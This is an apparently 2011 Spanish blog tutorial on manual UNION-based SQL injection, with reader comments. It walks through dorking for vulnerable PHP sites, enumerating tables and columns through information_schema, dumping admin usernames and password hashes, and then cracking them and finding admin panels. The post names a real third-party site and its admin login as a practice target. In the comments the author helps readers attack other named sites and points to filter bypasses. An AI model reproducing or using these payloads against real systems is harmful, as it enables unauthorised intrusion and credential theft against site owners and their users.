Primero y antes que nada, debemos saber muy bien los conceptos de cada uno que tocaremos en este tema.
¿Qué es SQL?
Significa un Lenguaje de Consulta Estructurado (en ingles Structured Query Languaje). Como su nombre lo indica es un lenguaje para tener acceso a una Base de Datos que nos permite realizar varias operaciones en ella, como poder guardar información privada de un sitio web, contraseñas, nombres, y otras cosas.
Sin embargo, muchos CMS Sistema de Gestión de Contenidos (en ingles Content Management System) utilizan SQL para acceder a una Base de Datos (PhpMyAdmin) y guardar información.
CMS (Sistema de Gestión de Contenidos) no es ningún tipo de programa literalmente, sin embargo, es programado para que los usuarios tengan la facilidad de crear su pagina web utilizando una base de datos.
Algunos CMS son muy populares como lo son; SMF, Wordpress, y Blogger entre otros.
¿Y qué significa SQLi?
Son la abreviatura de SQL Injection. Aunque, SQLi es un bug bastante viejo, existen CMS o páginas web con esta vulnerabilidad.
Debido que es un post para principiantes y un poco largo, no iré muy a fondo sobre los conceptos, por eso mejor aquí la dejamos y vamos al tutorial.
¿Donde puedo encontrar paginas vulnerables a SQLi?
En Google, sin embargo, existen Dorks (Palabras claves para poder encontrar CMS vulnerables con facilidad). De cualquier manera no es muy difícil encontrar sitios (Probablemente) vulnerables a SQLi.
Solo es cuestión de ingeniarse las palabras claves para encontrar sitios Web con este bug.
¿No entendiste? La Inyección SQL se empieza por encontrar en una url muy parecido a esto: /index.php?id=28, sin embargo, la inyección se comienza en la variable id=28.
Tutorial Inyección SQL para principiantes
Primera fase
Un ejemplo de como buscar en Google
1) Nos dirigimos a la pagina de Google y en el buscador colocamos esto id = cat index.php?
Nota: Actualmente Google ha actualizado su buscador, ha mejorado sus herramientas, y la interfaz grafica.
Sin embargo, obtendremos tal resultado como la imagen:
2) También podemos utilizar la barra lateral Izquierda para encontrar más sitios vulnerables.
¿Como saber si la página es vulnerable?
Bastante sencillo, tan solo colocar una ' (Comillas, coma, punto, cualquier caracter) al final de la variable es decir /index.php?id=28' nos deberá marcar un error más o menos así (Puede variar los errores, pero el más común entre ellos es este):
¿Como? ¿Osea es vulnerable o no?
Déjame explicarlo, muchos administradores no tienen idea lo fácil que es arreglar este bug (SQLi) en su pagina web, lo que ellos hacen es unicamente agregar una función en PHP para evitar que se muestren los errores de la web es un error muy grave que cometen los webmaster, ni más ni menos, este es el sencillo código PHP que utilizan:
Explicación resumida:
Explotando el Bug
Segunda fase
Viene la parte un poco más tediosa.
Pero antes de llegar a esta parte necesitamos entender dos conceptos:
Ahora ya habíamos visto que nos lanzo un error anteriormente y que si era vulnerable, ahora es tiempo de buscar hasta encontrar la columna vulnerable.
Un ejemplo sencillo de como empezar la inyección tenemos lo siguiente /index.php?cat=45 ahora antes de la variable (45) y después del signo (=) agregaremos el signo de menos (-) deberá quedar así:
¿Como sabre si el numero de la columna es vulnerable?
Al momento que veas uno o más números en la web y que no haya un error quiere decir que le hemos dado a la columna vulnerable, un ejemplo real:
Lo que esta marcado en recuadro esos números no son errores, y en la barra de direcciones esta la semi-inyección.
En resumen los números marca que podemos concluir la inyección en este caso me iré sobre el numero 2 (color azul).
Hay que tener en cuenta también, la versión de la base de datos si es 5.*.* - comunity se podrán sacar los nombres de las tablas y columnas, si de lo contrario es inferior a la versión 5, es decir versión 4 no se podrá extraer los nombres de las tablas y/o columnas, se tiene que hacer a ciegas y es un poco tedioso.
Para saber la versión de la base de datos (SQL) solo agregamos al final de union+select+1,2,3,4,5 database()
Tercera fase
Sacando nombre de las Tablas
Desde la barra de direcciones remplazamos el numero 2 por group_concat(table_name) debe quedar algo así:
Ejemplo real:
Nota | Como se ve en la imagen, tenemos como resultado los nombres de las tablas. Pero hay un pequeño problema, el tamaño de la página nos limita a que solo veamos una cierta cantidad de numero de tablas (Por naturaleza).
Sin embargo, no hay nada que nos impida, pues gracias a una función de SQL podemos utilizar otra alternativa, en este caso será la opción limit que nos permitirá limitar el rango de registro, y así poder acceder a la tabla del administrador o la de usuarios.
En este caso hay que hacer lo siguiente, quitamos group_concat() y solo dejamos table_name y al final de information_schema.tables agregamos +limit+1,1-- así quedará la url:
Nota | Puedes seguir utilizando la misma serie de 10 en 10 para que sea más rápido de encontrar la tabla de usuarios, ya que esta en orden alfabético de la a - z.
Un ejemplo sencillo:
admin = 97 100 109 105 110
Como ven, la cadena admin esta en ASCII.
Extracción de columnas de la tabla
Cuarta fase
Ahora modificamos nuestra url algo que quede así (incluyendo admin, pero convertida en ASCII):
Nota | Lo marcado en negritas es lo que modifico la url anterior.
Otra alternativa pero utilizando la misma opción es utilizando el limit lo cuál solo nos imprimirá el rango de la columna que le indiquemos.
Ejemplo:
Extracción de usuario y contraseña
Quinta fase
Esta parte es la más fácil, ya que lo anterior era lo complicado. Supongamos que ya sabemos los nombres de la tabla en este caso es admin y las columnas que nos interesan son usuario y pwd (contraseña), ahora hay que extraer los datos de esas dos columnas y para eso hacemos lo siguiente.:
Nota | Recuerda que lo remarcado en negritas es lo que cambia la url anterior.
Es lo peor que viene en este caso al no poder ver la contraseña real cuando esta encriptada en MD5 Hash.
Pero gracias a que existen herramientas y diccionarios para crackear MD5 las contraseñas se pueden desencriptar.
Pero hay que tener muy en cuenta que no todos los Hash son MD5 puede variar el tipo de Hash por la seguridad del CMS, hay contraseñas encriptadas en SHA-1, MD4, Base64, etc.. Son muy diferentes al MD5.
Pero les dejo una lista para que puedan diferenciar el tipo de Hash | http://www.insidepro.com/hashes.php también una herramienta en PHP para crackear Hash MD5 Online, tienen que subirlo a un FTP.
Herramienta crack MD5 Hash online mult.
¿No encuentro el login o la administración de la página?
Por suerte también existen herramientas para poder encontrar el path en la que se encuentre el login de la administración, acá les dejo uno codeado por neutralised | Admin Panel Finder PHP.
Pagina para practicar
Como se pudieron dar cuenta, este tutorial me guié en una pagina vulnerable y esa pagina es esta:
Fin del Tutorial
Este tutorial fue creado por OverNET, si tienen dudas o sugerencias pueden escribirlas en este mismo post.
SQL Injection - Tutorial by OverNET |
Significa un Lenguaje de Consulta Estructurado (en ingles Structured Query Languaje). Como su nombre lo indica es un lenguaje para tener acceso a una Base de Datos que nos permite realizar varias operaciones en ella, como poder guardar información privada de un sitio web, contraseñas, nombres, y otras cosas.
Sin embargo, muchos CMS Sistema de Gestión de Contenidos (en ingles Content Management System) utilizan SQL para acceder a una Base de Datos (PhpMyAdmin) y guardar información.
CMS (Sistema de Gestión de Contenidos) no es ningún tipo de programa literalmente, sin embargo, es programado para que los usuarios tengan la facilidad de crear su pagina web utilizando una base de datos.
Algunos CMS son muy populares como lo son; SMF, Wordpress, y Blogger entre otros.
¿Y qué significa SQLi?
Son la abreviatura de SQL Injection. Aunque, SQLi es un bug bastante viejo, existen CMS o páginas web con esta vulnerabilidad.
Debido que es un post para principiantes y un poco largo, no iré muy a fondo sobre los conceptos, por eso mejor aquí la dejamos y vamos al tutorial.
¿Donde puedo encontrar paginas vulnerables a SQLi?
En Google, sin embargo, existen Dorks (Palabras claves para poder encontrar CMS vulnerables con facilidad). De cualquier manera no es muy difícil encontrar sitios (Probablemente) vulnerables a SQLi.
Logotipo de Google |
¿No entendiste? La Inyección SQL se empieza por encontrar en una url muy parecido a esto: /index.php?id=28, sin embargo, la inyección se comienza en la variable id=28.
Tutorial Inyección SQL para principiantes
Primera fase
Un ejemplo de como buscar en Google
1) Nos dirigimos a la pagina de Google y en el buscador colocamos esto id = cat index.php?
Nota: Actualmente Google ha actualizado su buscador, ha mejorado sus herramientas, y la interfaz grafica.
Sin embargo, obtendremos tal resultado como la imagen:
Google 2011-Junio: Buscador |
2) También podemos utilizar la barra lateral Izquierda para encontrar más sitios vulnerables.
Barra lateral de Google Search 2011 |
Bastante sencillo, tan solo colocar una ' (Comillas, coma, punto, cualquier caracter) al final de la variable es decir /index.php?id=28' nos deberá marcar un error más o menos así (Puede variar los errores, pero el más común entre ellos es este):
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 1Sí de lo contrario no muestra error, quizás el sitio no sea vulnerable.. (Pero no significa que no sea vulnerable a SQLi).
¿Como? ¿Osea es vulnerable o no?
Déjame explicarlo, muchos administradores no tienen idea lo fácil que es arreglar este bug (SQLi) en su pagina web, lo que ellos hacen es unicamente agregar una función en PHP para evitar que se muestren los errores de la web es un error muy grave que cometen los webmaster, ni más ni menos, este es el sencillo código PHP que utilizan:
<?php error_reporting(0); ?>
Cabe mencionar que es un error muy común por parte de los administradores, ya que eso no arregla el bug, sin embargo, el bug sigue allí.. Es un problema para la seguridad de su sitio, ya que el atacante podrá darse cuenta y seguir intentando hasta tener el usuario y contraseña de la administración fácilmente.Explicación resumida:
- Tenemos la siguiente página como ejemplo http://www.asfasd.com/index.php?cat=45
- Agregamos una comilla al final de la url http://www.asfasd.com/index.php?cat=45'
- Nos muestra el siguiente error You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 1
Explotando el Bug
Segunda fase
Viene la parte un poco más tediosa.
Pero antes de llegar a esta parte necesitamos entender dos conceptos:
- UNION se usa para combinar el resultado de un número de comandos
- SELECT en un conjunto de resultados.
Ahora ya habíamos visto que nos lanzo un error anteriormente y que si era vulnerable, ahora es tiempo de buscar hasta encontrar la columna vulnerable.
Un ejemplo sencillo de como empezar la inyección tenemos lo siguiente /index.php?cat=45 ahora antes de la variable (45) y después del signo (=) agregaremos el signo de menos (-) deberá quedar así:
/articulo.php?articulo=-230 y agregamos el union y select y empezamos a partir del numero 1 o el numero 0.Seguiremos así, hasta que no nos vuelva salir error como el anterior
/articulo.php?articulo=-230+union+select+1-- (Muy importante poner los dos últimos guiones).
/articulo.php?articulo=-230+union+select+1,2,3-- (Es importante poner la coma entre cada numero)
¿Como sabre si el numero de la columna es vulnerable?
Al momento que veas uno o más números en la web y que no haya un error quiere decir que le hemos dado a la columna vulnerable, un ejemplo real:
Columnas vulnerables |
En resumen los números marca que podemos concluir la inyección en este caso me iré sobre el numero 2 (color azul).
Hay que tener en cuenta también, la versión de la base de datos si es 5.*.* - comunity se podrán sacar los nombres de las tablas y columnas, si de lo contrario es inferior a la versión 5, es decir versión 4 no se podrá extraer los nombres de las tablas y/o columnas, se tiene que hacer a ciegas y es un poco tedioso.
Para saber la versión de la base de datos (SQL) solo agregamos al final de union+select+1,2,3,4,5 database()
Tercera fase
Sacando nombre de las Tablas
Desde la barra de direcciones remplazamos el numero 2 por group_concat(table_name) debe quedar algo así:
/articulo.php?articulo=-230+union+select+1,group_concat(table_name),3,4,5+from+information_schema.tables--También es importante agregar el +from+information_schema.tables-- al final, después ingresamos esa url y nos da como resultado todos los nombres de las tablas que existen en la Base de dados.
Ejemplo real:
Nombre de las Tablas (Incompleta) |
Sin embargo, no hay nada que nos impida, pues gracias a una función de SQL podemos utilizar otra alternativa, en este caso será la opción limit que nos permitirá limitar el rango de registro, y así poder acceder a la tabla del administrador o la de usuarios.
En este caso hay que hacer lo siguiente, quitamos group_concat() y solo dejamos table_name y al final de information_schema.tables agregamos +limit+1,1-- así quedará la url:
/articulo.php?articulo=-230+union+select+1,table_name,3,4,5+from+information_schema.tables+limit+1,1--Lo cuál nos mostrará el nombre de la primer tabla, es decir, tendremos que buscar la tabla en donde se encuentra la del admin o la de usuarios
Nota | Puedes seguir utilizando la misma serie de 10 en 10 para que sea más rápido de encontrar la tabla de usuarios, ya que esta en orden alfabético de la a - z.
Un ejemplo sencillo:
/articulo.php?articulo=-230+union+select+1,table_name,3,4,5+from+information_schema.tables+limit+10,1--Seguimos aumentando de 10 en 10:
La tabla es KEY_COLUMN_USAGE (No es la que buscamos)
/articulo.php?articulo=-230+union+select+1,table_name,3,4,5+from+information_schema.tables+limit+20,1--Seguimos intentado..
La tabla es SESSION_VARIABLES (No es la que buscamos)
/articulo.php?articulo=-230+union+select+1,table_name,3,4,5+from+information_schema.tables+limit+30,1--,1--Y así, hasta dar con el nombre de la tabla uno que diga: admin, administrador, usuarios, users, usuaris, etc.. (Puede variar los nombres de las tablas y columnas por el idioma)
La tabla es cotizaciones (No es la que buscamos, pero estamos un poco cerca..)
/articulo.php?articulo=-230+union+select+1,table_name,3,4,5+from+information_schema.tables+limit+38,1--Una ves que tengamos el nombre de la tabla que queremos y es en este caso admin vamos a convertirla en ASCII les dejo la herramienta online para el conversor de String a ASCII | http://easycalculation.com/ascii-hex.php
La tabla es admin (¡¡ Bingo, es la que buscamos !!)
admin = 97 100 109 105 110
Como ven, la cadena admin esta en ASCII.
Extracción de columnas de la tabla
Cuarta fase
Ahora modificamos nuestra url algo que quede así (incluyendo admin, pero convertida en ASCII):
Nota | Lo marcado en negritas es lo que modifico la url anterior.
/articulo.php?articulo=-230+union+select+1,group_concat(column_name),3,4,5+from+information_schema.columns+where+table_name=char(97,100,109,105,110)--Como resultado nos tendrá que imprimir los nombres de las columnas, por ejemplo:
email, contrasena, usuario, pwdUn ejemplo real es este:
Extracción de columnas |
Otra alternativa pero utilizando la misma opción es utilizando el limit lo cuál solo nos imprimirá el rango de la columna que le indiquemos.
Ejemplo:
/articulo.php?articulo=-230+union+select+1,column_name,3,4,5+from+information_schema.columns+where+table_name=char(97,100,109,105,110)+limit+0,1--
Extracción de usuario y contraseña
Quinta fase
Esta parte es la más fácil, ya que lo anterior era lo complicado. Supongamos que ya sabemos los nombres de la tabla en este caso es admin y las columnas que nos interesan son usuario y pwd (contraseña), ahora hay que extraer los datos de esas dos columnas y para eso hacemos lo siguiente.:
Nota | Recuerda que lo remarcado en negritas es lo que cambia la url anterior.
/articulo.php?articulo=-230+union+select+1,group_concat(usuario,0x3a,pwd),3,4,5+from+admin--Con esa simple inyección nos mostrará el usuario y contraseña de la administración.
SQL Injection |
: = 0x3a (Hexadecimal)La contraseña esta encriptada en MD5 Hash
usuario = Columna
pwd = Columna
admin = Tabla
Es lo peor que viene en este caso al no poder ver la contraseña real cuando esta encriptada en MD5 Hash.
Pero gracias a que existen herramientas y diccionarios para crackear MD5 las contraseñas se pueden desencriptar.
Pero hay que tener muy en cuenta que no todos los Hash son MD5 puede variar el tipo de Hash por la seguridad del CMS, hay contraseñas encriptadas en SHA-1, MD4, Base64, etc.. Son muy diferentes al MD5.
Pero les dejo una lista para que puedan diferenciar el tipo de Hash | http://www.insidepro.com/hashes.php también una herramienta en PHP para crackear Hash MD5 Online, tienen que subirlo a un FTP.
Herramienta crack MD5 Hash online mult.
¿No encuentro el login o la administración de la página?
Por suerte también existen herramientas para poder encontrar el path en la que se encuentre el login de la administración, acá les dejo uno codeado por neutralised | Admin Panel Finder PHP.
Pagina para practicar
Como se pudieron dar cuenta, este tutorial me guié en una pagina vulnerable y esa pagina es esta:
http://www.ancvm.com/articulo.php?articulo=-230Administración de la pagina, la administración de la web esta en este path
http://www.ancvm.com/admin/login.phpNOTA | Recuerden que esta pagina puede que por el tiempo no sea vulnerable a este tipo de Inyección, también no abusen de los datos del administrador ni anden jodiendo la web, este tutorial es de uso educativo y el administrador de este blog no se hace responsable de lo que el usuario pudiera hacer con esta información.
Fin del Tutorial
Este tutorial fue creado por OverNET, si tienen dudas o sugerencias pueden escribirlas en este mismo post.
amigo que buen tuto, pero tengo un problemilla cuando estoy en la fase de agregar el union con el 1 2 3 etc, me sale el sieguiente error
Not Acceptable
An appropriate representation of the requested resource /detalleoracion.php could not be found on this server.
Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.
que puedo hacer???
Es porque el administrador del sitio tiene habilitado el "mod_security" en la configuración del php.ini..
Es por eso que te da Error 406..
Hay una forma de bypassear el filtro de seguridad, pero es un poco complicado.
Para más info leer | http://seguridadblanca.blogspot.com/2011/07/bypass-modsecurity-asp.html
Gracias compradre, seguire en la lucha, mil gracias
amigo, que pena molestarte tanto, pero aqui estoy de nuevo y me sale el siguiente error
Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /home/shrikant/public_html/link_navi.php on line 11
sigo con el orden de inyeccion pero no cambia nada ni imprime la info de las tablas ni nada
e buscado info sobre este error y no sale nada que pueda ayudarme, si eres tan amable y si no es mucha molestia y ayudarme
He googleado y medio a la pagina de 'Safety Electronics for motocycles' si es así, yo si pude imprimir los nombres de las tablas..
A mí me imprime la info hasta el numero '11' es decir:
/index.php?cat_id=-1,2,3,4,5,6,7,8,9,10,11--
El numero vulnerable es el '1' lo puedes comprobar:
1+union+select+concat(database(),0x3a,version()),2,3,4,5,6,7,8,10,11--
Te deberá imprimir el nombre y la versión de la DB.. xD
Y allí deberás seguir hasta poder encontrar los nombres de las tablas hasta columnas..
Saludos, escribe cualquier duda q tengas
muy buen tuto en verdad me sorprendio, tengo una duda, podemos obtener o descargar toda una base cin este metodo? gracias
La verdad no conozco alguna forma de como poder descargar la Base de datos *.sql si es a lo que te refieres.
Si te refieres poder imprimirlas existen herramientas que te permiten hacerlo, algunas estan en PHP cuando tenga tiempo las posteó.
Existen herramientas para novatos, que incluyen la función para visualizar y poder guardar la Base de datos, el SQLi Helper y Havij.
Saludos
Muy buen post!
Muchas gracias amigo por compartir tu sabiduria con los demas!
Amigo muy bueno el post y muy util , tengo un problema al llegar al paso de extraccion de usuario y contraseña. pongo al final from+usuario-- (en mi caso en la pagina en la que estoy es usuario) y me salta el siguiente error: Error: SELECT * FROM noticia WHERE id = -55 union select 1,group_concat(usuario,0x3a,pwd),3,4,5,6,7,8,9 from usuario-- LIMIT 1
Unknown column 'usuario' in 'field list'
alguna idea?
El error que muestra es este:
Unknown column 'usuario' in 'field list'
Quizás no acepte 'group_concat()' intenta unicamente usando concat() es decir:
-55+union+select+1,concat(usuario,0x3a,pwd),3,4,5,6,7,8,9+from+usuario--
si de lo contrario no funciona, intenta quitar el concat y hacer lo siguiente;
Columna usuario:
-55+union+select+1,usuario,3,4,5,6,7,8,9+from+usuario--
Columna pwd:
-55+union+select+1,pwd,3,4,5,6,7,8,9+from+usuario--
Si vuelve a salir el mismo error, quizas esten vacias las columnas o no existen.
A mi al mirar los nombres de las columnas me aparece esto : Illegal mix of collations for operation 'UNION'Que significa? Saludos!
Significa que hay errores de caracteres, puede que no este escrito bien el nombre de las tablas o columnas en ASCII..
También salé cuando no es vulnerable la web.
MMM yo ago todo lo que sies pero cuando llego asta el numero 5 osea 1,2,3,4,5-- no me sale nada me tira el mismo error de siempre a que se deve esto? s;
Yo lo intente en la web page que pusiste y no me sale nada ni errores no se porque sera
Lo siento, pero supongo que han arreglado el sitio web.
De cualquier manera, quizas agregue más sitios vulnerables para que todos puedan practicar.
Saludos
puedo sacar el admin y la pass, me queda algo como Categoria admin:pass (obviamente no son esos los nombres reales del admin y la pass) pero cuando meto en el login (el mismo que usan los usuarios, quizas es por eso) los datos de admin y password me dice que no existe tal usuario. quiza hice algo mal (es otra pagina la que "hackee" no la que vos proporcionaste). muchas gracias desde ya
encontre el login del admin, pero igual sigue dando erroneo, pese a haber hecho todos los pasos bien e incluso obtengo como resultado Categoria samir:fjohnson pero no se cual es el admin y cual la pw. (soy el mismo que comento arriba)
Depende como sea el login del admin, aveces confundimos el cpanel,la del ftp, con la de la web. (Comprueba si existen más logins)
Si haz manejado comúnmente estas columnas (user,0x3a,pass) con la tabla usuario o user es probable que el usuario sea samir y la contraseña sea fjohnson, también debes revisar si existe una tabla con el nombre admin, administrador, administrator, etc..
y columnas en esa tabla.
Nota*
Quizás la que encontraste no es la del administrador si no del usuario.
gracias, resulta que solo puedo obtener la password del admin (fjohnson) pero no el nombre del admin (la cuenta). ahora estoy usando SQLi Helper 2.7 que facilita toda la tarea (la automatiza). no se si lo conoces, pero hice en pocos segundos lo que me tomo casi horas con este tutorial. te lo recomiendo :)
La conozco, pero el tutorial tiene como propósito unicamente aprendizaje y educativo.
Una herramienta automatizada para principiantes nunca te dirá el porque de las cosas.
Saludos
si alguna vez lo usaste, sabrias decirme porque solo funciona 1 vez y luego deja de funcionar, o funciona cuando quiere? :S
No tengo idea, es posible que tenga errores anti-script kiddies
Hola, obtuve una contraseña asi 414caf51f461495d4a8c4561c8c1f0b4:Oa
y no la puedo desencriptar (no es MD5 me parece, fijate que tiene ":") no se como desencriptarla, me podrias ayudar?
No tengo idea, de que tipo de hash es.
gracias eres un ejemplo de grandesa tio y a ese q prefiere el automatizado esta muy equivocado porq si a 15 min lo que hace el helper y eso q llevo un tiempo usandolo bueno mil gracias hermano q dios te bendiga a seguir a asi suerteeee
Se agradece.
Saludos
oye amigo solo con una duda que significa el "230" que se coloca antes del signo "-" este numero puede variar?
@Malestu, el '230' es unicamente la variable de la noticia, es decir, puedes empezar la inyección con cualquier numero no altera en la inyección.
Una herramienta automatizada para principiantes nunca te dirá el porque de las cosas.
Amigo que buen tuto !
muy buenoo
lo que si me ayudaran miren vereis no tengo mucha idea de esto pero intente con una web y me da error 404 y dice php 2.2 y apache 5.2.6 nose si eso se podria inyectar o si es vulnearable al sql no lo se pregunto muchas gracias si me pudieran responder mi name es sarah gracias
El error 404 es un filtro de seguridad.
Y no es vulnerable.
oye que sabes de varchar sqli??
Llego a ahi y no pasa nada mas , ayuda
http://www.ranchworldads.com/index.php?cat_id=-4+union+select+1--
yo lo logre acedi a la clave pero me sale esto
horaciod:administra,elena:rocio
y cuando lo pongo en administrador no entra se puede por medio de la url o hay q todavia hacer algo mas y es correcto q me salga esos cuatro nombres
a me olvidava cuando meto los terminos me sale esto
[Fallo en la conexion con la base de datos] ( 2005 : Unknown MySQL server host 'DB_HOST' (1) )
Si ya encontraste las passwords y no están encriptadas, tendrías que buscar el login o administración. En tu caso el error se debe que no tiene conexión con la BD, intenta o busca otro login, aveces tienen diferentes logins, uno esta escondido.
Utiliza un Admin Panel Finder
ok gracias por la ayuda
Hacked
Ok. Muy buen tutorial. Y va la pregunta del millón de euros que implementar para que no nos pase esto de ser vulnerable?
Buena pregunta este fin de semana voy hacer un tutorial de como reparar el bug.
Y la única forma es arreglar el código desde el mismo archivo.
De cualquier manera te paso un link donde explica como arreglar, si no se entiende este fin voy hacer un tutorial.
http://www.ribosomatic.com/articulos/como-evitar-sql-injection-en-nuestra-consultas-phpmysql/
mi pregunta es.. se puede tambien inyectar a paginas que no son desarrolladas en php..es decir se podrá en una ASP???
Con este metodo no se puede, ya que es para PHP y de los archivos .php es donde esta el bug explotable.
En ASP si se puede hacer inyección pero es un poco más dificil.
oye amigo me estanque en el paso de string to ASCII, cuando la quiero convertir a ASCII me da el codigo, pero cuando pongo el codigo asi: -230+union+select+1,group_concat(column_name),3+from+information_schema.columns+where+table_name=char(85 83 69 82 95 80 82 73 86 73 76 69 71 69 83)--
se supone que debe mostrar las claves y usuarios pero me manda este error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '83 69 82 95 80 82 73 86 73 76 69 71 69 83)--' at line 1
que puedo hacer??
Estas bien solo quitale los espacios y pones coma.
Así:
-230+union+select+1,group_concat(column_name),3+from+information_schema.columns+where+table_name=char(85,83,69,82,95,80,82,73,86,73 76,69,71,69,83)--
Intenta con eso.
aaaaa ya entedi, gracias por resolverme mi duda
oye cuando empiezo la inyección me aparece esto Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /home/content/a/k/a/akanet/html/prod_detail.php on line 144
y por mas que continué la inyección sigue apareciendo el mismo mensaje osea no cambia, que puedo hacer?
oye amigo cuando le pongo la comilla no pasa nada, pero cuando quiero buscar las tablas me dice esto: No está autorizado para ver este recurso Necesita conectarse.
significa que no es vulnerable o existe otro método para hacerle la inyección
-230+union+select+1,group_concat(column_name),3+from+information_schema.columns+where+table_name=char(85,83,69,82,95,80,82,73,86,73,76,69,71,69,83)--
Asunto arreglado falto ponerle una coma.
se puede hackear este tipo de sitios:
index.php?option=com_content&task=view&id=345&Itemid=265
es que cuando le pongo la comilla no pasa nada, y cuando sigo con el siguiente paso(-230+union+select+1--) me sale un error que dice:
no esta autorizado para ver esta informacion, necesita conectarse.
hay otro metodo?
o no es vulnerable?
No creo que sea vulnerable, el cms es joomla y en algunas versiones antiguas si son vulnerables a SQLi. Pero en tu caso, no es vulnerable.
Buen articulo lo explicas todo pero tengo un problema, al intentar sacar el usuario y la password del final, la pagina no me muestra la password completa es decir muestra el usuario y la pass: group_concat(usuario,0x3a,password) pero la pagina tiene una fuente muy grande y se limita a mostrarla toda, así que me podrías decir que función se emplea aquí? :) Salu2
Muy Bueno el paso a paso, muchas gracias.
que significa el -203 ?
El '-203' el '-' es para dar inicio la inyección, el '203' es el id de la noticia (Esto no importa, puede ser el 0,1,2,3.. el numero que quieras no afecta en nada en la inyección)
Hola ,
Cuando pongo el apostrofe me sale lo siguiente :
Query: SELECT id,catname,password FROM rp_categories WHERE id='1''
Result: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1''' at line 1
Database handle: Resource id #6
Y seguidamente pongo en la URL la sentencia que indicas por que como veras ya tengo el nombre de la tabla y sus columnas , pero solo me redirecciona a la pagina inicial.
¿Qué puede ser?
Desactiva Java Script de tu navegador, e intenta.
wowwww you're a genius!!! como aprendiste todo eso!!!? cuanto tiempo tardaste en aprendertelo?
Anónimo, no se necesita aprenderse nada.
Por inercia es necesario saber estos temas para quien esté interesado en programar su propio sitio en PHP y MySQL de allí se empieza, programando.
Everyone loves it when people come together and
share opinions. Great blog, stick with it!
Also visit my web-site :: youtube software views
This is the right site for anyone who really wants to find
out about this topic. You realize so much its almost tough
to argue with you (not that I personally will need to…HaHa).
You definitely put a brand new spin on a subject that
has been discussed for ages. Excellent stuff, just wonderful!
Here is my blog; Boost Adfly Earnings Tool
Thank you for the good writeup. It in reality used to be a amusement account
it. Look complex to more delivered agreeable from you!
By the way, how can we keep in touch?
My web site ... play minecraft free
Great beat ! I would like to apprentice while you amend your
site, how can i subscribe for a blog site? The account helped me a acceptable deal.
I had been a little bit acquainted of this your broadcast provided
bright clear idea
My blog post; play minecraft free
I like the helpful information you provide on your articles.
I'll bookmark your blog and take a look at again here frequently. I am somewhat sure I'll learn many new stuff right
right here! Good luck for the next!
Also visit my webpage :: dragonvale the Game
I like looking through an article that can make men and women think.
Also, thank you for permitting me to comment!
Look into my page - funny facebook status
hola gran tutorial mi pregunta es se puede sacar user y pass de una pagina que termine en index.php
Saludos
My brother recommended I might like this web site. He was totally right.
This post actually made my day. You cann't imagine simply how much time I had spent for this info! Thanks!
My homepage :: cityville
When someone writes an paragraph he/she retains the image
of a user in his/her brain that how a user can know it. Therefore that's why this post is perfect. Thanks!
Also visit my web page ... download cityville
Saved as a favorite, I like your blog!
Here is my web page ... cheats in dragonvale
disculpa hice todos los pasos y llegue hasta el ultimo pero he ahí cuando me salen dificultades al momento de mostrar los datos de usuario y contraseña me dice "Table 'davidross.sec_users' doesn't exist" y pues la tabla así se llama... que podría ser?
graciaspor esta valiosa informacion ^_^
muy buen tutorial! una pregunta, ya que ascii distingue de mayusculas y minusculas, hay q poner siempre como este el nombre de la tabla no?o hay algun tipo de regla para esto? gracias por tu gran aporte!
sql inject
sql inject